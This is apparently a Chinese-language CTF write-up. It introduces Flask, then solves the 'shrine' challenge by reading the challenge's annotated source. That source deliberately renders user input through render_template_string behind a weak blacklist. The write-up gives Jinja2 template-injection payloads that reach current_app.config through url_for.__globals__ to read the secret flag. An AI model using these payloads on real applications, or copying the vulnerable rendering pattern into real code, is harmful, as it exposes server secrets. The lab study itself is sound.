前言
Flask是一个轻量级的Web应用程序框架,用于Python编程语言。它是基于Werkzeug WSGI工具箱和Jinja2模板引擎构建的。 Flask提供了一组工具和库,可以帮助开发人员构建Web应用程序,包括路由、HTTP请求处理、会话管理和数据存储等。它是一个开源框架,可以在许多领域使用,例如Web开发、物联网、机器学习和数据分析等。
Flask包括以下主要组件:
-
Werkzeug:一个WSGI工具库,提供了底层的服务端网关接口(WSGI)实现,用于接收和处理HTTP请求。
-
Jinja2:一个模板引擎,用于构建动态内容的HTML页面。
-
Routing:Flask提供了路由处理机制,使得开发人员能够将HTTP请求映射到特定的函数,从而处理相应的请求。
-
Flask插件:Flask提供了许多可扩展的插件,用于处理安全、表单验证、数据库连接、电子邮件等方面的任务,从而使得开发人员可以专注于应用程序的具体业务逻辑。
下面是Flask实现简单web服务源码
下面是一个简单的Flask实现的Web服务的源码示例:
from flask import Flask
app = Flask(__name__)
@app.route('/')
def home():
return 'Hello, World!'
if __name__ == '__main__':
app.run(debug=True)
这个示例代码中,我们首先导入了Flask框架,并创建了一个应用程序实例app
。然后我们使用修饰器@app.route('/')
来定义一个路由,表示当访问根URL时会调用函数home()
。在home()
函数中,我们返回了一个简单的字符串“Hello, World!”。
最后,我们使用if __name__ == '__main__':
语句来指定当脚本被直接运行时,调用app.run()
方法来启动Web服务。debug=True
是一个可选参数,用于开启调试模式,以便在开发过程中更容易发现和调试错误。
一、shrine
1.题目
2.答题
import flask
import os
app = flask.Flask(__name__)
/*创建了flask包下的Flask类的对象,name是一个适用于多数情况的快捷方式。有了这个参数,Flask才知道在哪里可以找到模板和静态文件*/
app.config['FLAG'] = os.environ.pop('FLAG')
//这句话的意思就是说flag在app的config变量里
@app.route('/')
/* @app.route(url) 是Flask框架中的一个装饰器,他的作用是在程序运行时,装饰一个视图函数,用给定的url规则和选项注册他*/
def index():
return open(__file__).read() //相当于返回源码,也就是我们看到源码的页面
@app.route('/shrine/<path:shrine>')
//这个是带参数的写法
def shrine(shrine): // 这里shrine的值就是上面的 <path:shrine>
def safe_jinja(s):
s = s.replace('(', '').replace(')', '') // 先将 ) 替换为 空,再将 ( 替换为 空
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
//匹配黑名单,将匹配到的config和self换成空字符
return flask.render_template_string(safe_jinja(shrine))
// 这句话就是调用了过滤函数对用户输入的网址进行过滤
if __name__ == '__main__':
app.run(debug=True) //如果这个python是主程序,则启动app
从整理好的代码中,我们得出 flag在config变量中,但config,self,(), 都被过滤了
假设没有过滤,可以尝试直接访问 config变量或者 {{self.dict}}来获取变量
如果有过滤,就需要尝试通过全局变量实现沙盒逃逸
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
得到flag:flag{shrine_is_good_ssti}